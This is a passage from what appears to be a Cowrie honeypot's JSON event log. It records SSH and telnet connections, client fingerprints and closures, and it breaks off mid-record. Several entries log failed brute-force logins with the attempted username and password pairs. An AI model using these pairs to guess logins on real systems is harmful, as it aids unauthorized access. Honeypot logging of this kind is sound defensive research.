{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":55084,"dst_ip":"10.17.0.5","dst_port":22,"session":"74f5cefb5d21","protocol":"ssh","message":"New connection: 45.78.194.242:55084 (10.17.0.5:22) [session: 74f5cefb5d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:25.205930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:25.211276Z","src_ip":"45.78.194.242","session":"74f5cefb5d21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:25.458066Z","src_ip":"45.78.194.242","session":"74f5cefb5d21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":45306,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1ff1268a7f6","protocol":"telnet","message":"New connection: 208.82.116.131:45306 (159.203.135.109:23) [session: a1ff1268a7f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:25.521296Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":45382,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa88bf532955","protocol":"telnet","message":"New connection: 208.82.116.131:45382 (159.203.135.109:23) [session: fa88bf532955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:25.732348Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":39550,"dst_ip":"159.203.135.109","dst_port":23,"session":"912144061913","protocol":"telnet","message":"New connection: 104.248.46.74:39550 (159.203.135.109:23) [session: 912144061913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:25.807156Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zy123456.","message":"login attempt [root/Zy123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:26.477090Z","src_ip":"45.78.194.242","session":"74f5cefb5d21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:27.726159Z","src_ip":"45.78.194.242","session":"74f5cefb5d21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":41240,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c36499d1c87","protocol":"telnet","message":"New connection: 104.248.46.74:41240 (159.203.135.109:23) [session: 0c36499d1c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:30.098546Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":58936,"dst_ip":"159.203.135.109","dst_port":22,"session":"7740c4a52aac","protocol":"ssh","message":"New connection: 103.215.80.173:58936 (159.203.135.109:22) [session: 7740c4a52aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:32.048715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:32.054188Z","src_ip":"103.215.80.173","session":"7740c4a52aac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:32.335692Z","src_ip":"103.215.80.173","session":"7740c4a52aac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwer1234!@#$","message":"login attempt [ubuntu/Qwer1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:33.453892Z","src_ip":"103.215.80.173","session":"7740c4a52aac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:34.659863Z","src_ip":"103.215.80.173","session":"7740c4a52aac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40850,"dst_ip":"159.203.135.109","dst_port":22,"session":"1853407757af","protocol":"ssh","message":"New connection: 159.203.92.129:40850 (159.203.135.109:22) [session: 1853407757af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:40.359134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:40.364448Z","src_ip":"159.203.92.129","session":"1853407757af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:40.371909Z","src_ip":"159.203.92.129","session":"1853407757af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amandabackup","password":"password","message":"login attempt [amandabackup/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:40.388640Z","src_ip":"159.203.92.129","session":"1853407757af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:41.396625Z","src_ip":"159.203.92.129","session":"1853407757af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":34886,"dst_ip":"10.17.0.5","dst_port":23,"session":"e766023a1da7","protocol":"telnet","message":"New connection: 174.136.57.21:34886 (10.17.0.5:23) [session: e766023a1da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:43.704368Z"}
{"eventid":"cowrie.session.closed","duration":34.12851881980896,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:44.574903Z","src_ip":"104.248.46.74","session":"6f0e48bafab8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":44972,"dst_ip":"159.203.135.109","dst_port":23,"session":"a867d87b8866","protocol":"telnet","message":"New connection: 104.248.46.74:44972 (159.203.135.109:23) [session: a867d87b8866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:46.875036Z"}
{"eventid":"cowrie.session.closed","duration":35.09943246841431,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:47.072448Z","src_ip":"104.248.46.74","session":"b26352721191","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":46848,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ca7798f41a8","protocol":"telnet","message":"New connection: 104.248.46.74:46848 (159.203.135.109:23) [session: 1ca7798f41a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:53.662262Z"}
{"eventid":"cowrie.session.closed","duration":34.35900068283081,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:30:56.205382Z","src_ip":"104.248.46.74","session":"69e61f8bb076","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":51012,"dst_ip":"10.17.0.5","dst_port":23,"session":"26d41abc1dbc","protocol":"telnet","message":"New connection: 162.253.42.116:51012 (10.17.0.5:23) [session: 26d41abc1dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:00.442932Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":49282,"dst_ip":"159.203.135.109","dst_port":23,"session":"b279e7d357b8","protocol":"telnet","message":"New connection: 104.248.46.74:49282 (159.203.135.109:23) [session: b279e7d357b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:03.027673Z"}
{"eventid":"cowrie.session.closed","duration":34.16205620765686,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:04.260453Z","src_ip":"104.248.46.74","session":"0c36499d1c87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.32138419151306,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:07.128422Z","src_ip":"104.248.46.74","session":"912144061913","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":50648,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdb77abe7891","protocol":"telnet","message":"New connection: 104.248.46.74:50648 (159.203.135.109:23) [session: bdb77abe7891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:07.924248Z"}
{"eventid":"cowrie.session.closed","duration":42.468870878219604,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:07.990066Z","src_ip":"208.82.116.131","session":"a1ff1268a7f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":51386,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f4f39aa66fc","protocol":"telnet","message":"New connection: 104.248.46.74:51386 (159.203.135.109:23) [session: 7f4f39aa66fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:09.380482Z"}
{"eventid":"cowrie.session.closed","duration":44.80960774421692,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:10.541819Z","src_ip":"208.82.116.131","session":"fa88bf532955","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.19160032272339,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:15.895843Z","src_ip":"174.136.57.21","session":"e766023a1da7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":53542,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8adfd11e06c","protocol":"telnet","message":"New connection: 104.248.46.74:53542 (159.203.135.109:23) [session: f8adfd11e06c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:16.099237Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":53926,"dst_ip":"159.203.135.109","dst_port":23,"session":"3196d12af6c6","protocol":"telnet","message":"New connection: 104.248.46.74:53926 (159.203.135.109:23) [session: 3196d12af6c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:17.550921Z"}
{"eventid":"cowrie.session.closed","duration":32.30602788925171,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:19.180966Z","src_ip":"104.248.46.74","session":"a867d87b8866","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53804,"dst_ip":"159.203.135.109","dst_port":22,"session":"638b3694a567","protocol":"ssh","message":"New connection: 159.203.92.129:53804 (159.203.135.109:22) [session: 638b3694a567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:23.117955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:23.121605Z","src_ip":"159.203.92.129","session":"638b3694a567","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:23.129907Z","src_ip":"159.203.92.129","session":"638b3694a567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amane","password":"amane","message":"login attempt [amane/amane] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:23.139931Z","src_ip":"159.203.92.129","session":"638b3694a567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:24.193831Z","src_ip":"159.203.92.129","session":"638b3694a567","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":56772,"dst_ip":"159.203.135.109","dst_port":23,"session":"d19fa6472638","protocol":"telnet","message":"New connection: 104.248.46.74:56772 (159.203.135.109:23) [session: d19fa6472638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:27.469867Z"}
{"eventid":"cowrie.session.closed","duration":34.38624978065491,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:28.048367Z","src_ip":"104.248.46.74","session":"1ca7798f41a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":58454,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dbc175251a9","protocol":"telnet","message":"New connection: 162.253.42.116:58454 (10.17.0.5:23) [session: 1dbc175251a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:32.897820Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":57692,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1c18e37d5c9","protocol":"telnet","message":"New connection: 104.248.46.74:57692 (159.203.135.109:23) [session: a1c18e37d5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:33.006826Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":58616,"dst_ip":"159.203.135.109","dst_port":23,"session":"340e51b51c0c","protocol":"telnet","message":"New connection: 104.248.46.74:58616 (159.203.135.109:23) [session: 340e51b51c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:35.402064Z"}
{"eventid":"cowrie.session.closed","duration":35.36338233947754,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:35.806221Z","src_ip":"162.253.42.116","session":"26d41abc1dbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":40954,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7565869d205","protocol":"telnet","message":"New connection: 208.82.116.131:40954 (159.203.135.109:23) [session: b7565869d205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:40.026440Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":40966,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5da2f3aebc4","protocol":"telnet","message":"New connection: 208.82.116.131:40966 (159.203.135.109:23) [session: b5da2f3aebc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:40.053285Z"}
{"eventid":"cowrie.session.closed","duration":34.01163578033447,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:41.935744Z","src_ip":"104.248.46.74","session":"bdb77abe7891","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.760845422744751,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:46.787176Z","src_ip":"208.82.116.131","session":"b7565869d205","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.019180774688721,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:47.072339Z","src_ip":"208.82.116.131","session":"b5da2f3aebc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.38000988960266,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:48.760423Z","src_ip":"104.248.46.74","session":"7f4f39aa66fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":59246,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d4dcdbaceb1","protocol":"ssh","message":"New connection: 103.215.80.173:59246 (159.203.135.109:22) [session: 5d4dcdbaceb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:51.481832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:31:51.486258Z","src_ip":"103.215.80.173","session":"5d4dcdbaceb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nist